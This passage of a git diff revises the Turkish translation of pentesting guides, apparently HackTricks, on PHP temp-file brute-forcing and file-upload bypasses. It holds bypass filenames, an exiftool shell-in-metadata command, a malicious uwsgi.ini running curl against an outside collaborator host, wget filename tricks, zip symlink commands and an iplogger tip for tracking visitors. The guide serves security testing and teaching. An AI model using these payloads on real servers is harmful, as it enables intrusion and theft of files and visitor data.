yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir. PHP-FMP, **`/etc/php//fpm/pool.d/www.conf`** dosyasında **`request_terminate_timeout`** **parametresini** **ayarlar**.\ -Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ereceğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuzdur, ancak **parametre yorumlanırsa 30s** olur). PHP tarafından işlenen bir isteğin belirtilen saniye sayısı dolduğunda, **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, **php işlemesi durdurulduğu için**, o **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, bir isteğin o süre boyunca sürmesini sağlarsanız, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve platforma tüm bağlantıları tüketerek bir DoS olasılığını azaltır. +Bu parametre, **PHP'ye yapılan isteğin ne zaman sona ermesi gerektiğini** belirten maksimum saniye sayısını gösterir (varsayılan olarak sonsuz, ancak **parametre yorum satırından çıkarıldığında 30s**). PHP tarafından işlenen bir istek belirtilen saniye sayısında **öldürülür**. Bu, eğer istek geçici dosyalar yüklüyorsa, **php işlemesi durdurulduğu için**, bu **dosyaların silinmeyeceği** anlamına gelir. Bu nedenle, bir isteğin o süre boyunca sürmesini sağlarsanız, **silinmeyecek binlerce geçici dosya** oluşturabilirsiniz, bu da **onları bulma sürecini hızlandırır** ve tüm bağlantıları tüketerek platforma DoS olasılığını azaltır. -Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı** kullanacağını varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**)** **30s**'dir. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir. +Bu nedenle, **DoS'tan kaçınmak için** bir **saldırganın aynı anda yalnızca 100 bağlantı** kullanacağını varsayalım ve php max işleme süresi **php-fmp** (`request_terminate_timeout`**) **30s**. Bu nedenle, **saniyede** oluşturulabilecek **geçici dosya** sayısı `100*20/30 = 66.67`'dir. Sonra, **10000 dosya** oluşturmak için bir saldırganın ihtiyacı olacak: **`10000/66.67 = 150s`** ( **100000 dosya** oluşturmak için süre **25dakika** olacaktır). -Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. \*\*\*\* 300 req/s hızında varsayarsak, bunu istismar etmek için gereken süre aşağıdaki gibidir: +Sonra, saldırgan bu **100 bağlantıyı** bir **arama brute-force** gerçekleştirmek için kullanabilir. 300 req/s hızında bu işlemi gerçekleştirmek için gereken süre aşağıdaki gibidir: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 saat** (2.63 saatte %50 şans) - (100000 dosya ile) 56800235584 / 100000 / 300 / 3600 \~= **0.525 saat** (0.263 saatte %50 şans) -Evet, bir EC2 orta boyutlu örneğinde 100000 geçici dosya oluşturmak mümkündür: +Evet, bir EC2 orta boyutlu örnekte 100000 geçici dosya oluşturmak mümkündür:
@@ -92,6 +92,6 @@ Evet, bir EC2 orta boyutlu örneğinde 100000 geçici dosya oluşturmak mümkün ## Nginx -Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** destekler (ve bu sayı artırılabilir). +Görünüşe göre varsayılan olarak Nginx **512 paralel bağlantı** desteklemektedir (ve bu sayı artırılabilir). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 2e2a8d658..fa7780ff2 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -18,10 +18,10 @@ Diğer yararlı uzantılar: ### Dosya uzantısı kontrollerini atlama 1. Eğer uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._ -2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_ +2. _**Geçerli bir uzantıyı** yürütme uzantısından **önce eklemeyi kontrol edin** (önceki uzantıları da kullanın):_ - _file.png.php_ - _file.png.Php5_ -3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_) +3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce bahsedilen **uzantıları** kullanmayı da deneyebilirsiniz_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Diğer yararlı uzantılar: - _file._ - _file.php...._ - _file.pHp5...._ -4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._ +4. **Sunucu tarafındaki uzantı ayrıştırıcısını** kandırarak korumaları atlamayı deneyin, örneğin uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,19 +40,19 @@ Diğer yararlı uzantılar: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**: +5. Önceki kontrol için **bir başka uzantı katmanı** ekleyin: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **Geçerli uzantıdan önce yürütme uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır; _**.php**_ ile bitmese de kodu çalıştırır): -- _ör: file.php.png_ -7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”) -8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php +6. **Geçerli uzantıdan önce exec uzantısını** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı **_**.php**_** ile çalışacak şekilde yapılandırılmış Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak **.php** ile bitmek zorunda değildir): +- _ex: file.php.png_ +7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak diğer tekniklerle düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örneğin “file.asp::$data.”) +8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php ``` # Linux maksimum 255 bayt /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin -# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin veriyor. Diyelim ki 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin +# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Yükü oluşturun @@ -63,21 +63,21 @@ AAA<--SNIP 232 A-->AAA.php.png - **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_ 1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\ +- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya **metadata** içine shell ekleyin:\ `exiftool -Comment="' >> img.png` -- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Eğer görüntünüze **sıkıştırma** ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Bir görüntü **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Diğer Kontrol Edilecek Hileler - Yüklenmiş dosyanın adını **değiştirmek** için bir zafiyet bulun (uzantıyı değiştirmek için). -- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için. +- Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun. - **Olası Bilgi sızıntısı**: 1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin. 2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin. @@ -85,20 +85,20 @@ AAA<--SNIP 232 A-->AAA.php.png 4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows) 5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows) 6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9. -- Ayrıca, **bir yürütülebilir dosya** (.exe) veya **.html** (daha az şüpheli) yüklemeyi deneyin; bu dosya, kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**. +- Ayrıca, **kurban tarafından yanlışlıkla açıldığında** **kod çalıştıracak** bir **.exe** veya daha az şüpheli bir **.html** yüklemeyi de deneyin. ### Özel uzantı hileleri Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...) +`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi** kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...) -`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**. +`.inc` uzantısı bazen yalnızca **dosya içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, birisi **bu uzantının çalıştırılmasına** izin vermiş olabilir. ## **Jetty RCE** -Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin! +Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [**yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,9 +106,9 @@ Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir. +Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir. -Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir: +Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası düşünün: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler. +Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler. -uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir. +uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir. ## **wget Dosya Yükleme/SSRF Hilesi** -Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\ -**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**. +Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirleyebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\ +**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,13 +156,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**. +Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunun farklı bir dosyaya yönlendirilmesi** olabilir, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**. ## Araçlar -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak zafiyetleri tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentesterlar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar. -## Dosya yüklemeden diğer zafiyetlere +## Dosya yüklemeden diğer güvenlik açıklarına - **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın. - **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz. @@ -173,10 +173,10 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunu - [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload). - [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files). - [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin. -- [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). -- Eğer **web sunucusunu bir URL'den resim yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**. -- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md). -- Özel olarak hazırlanmış PDF'ler ile XSS: [Aşağıdaki sayfa **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz. +- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). +- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**. +- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md). +- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz. - \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin. - Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin. @@ -190,7 +190,7 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için **HTTP sunucusunu 6. **AVI**: LFI / SSRF 7. **HTML / JS** : HTML enjeksiyonu / XSS / Açık yönlendirme 8. **PNG / JPEG**: Piksel sel saldırısı (DoS) -9. **ZIP**: LFI üzerinden RCE / DoS +9. **ZIP**: LFI / DoS üzerinden RCE 10. **PDF / PPTX**: SSRF / KÖR XXE #### Burp Eklentisi @@ -208,11 +208,11 @@ Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatur ## Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme -Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz: +Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz: ### Symlink -Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişeceksiniz: +Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişebilirsiniz: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt ``` ### Farklı klasörlerde aç -Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır. +Açma işlemi sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır. Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç 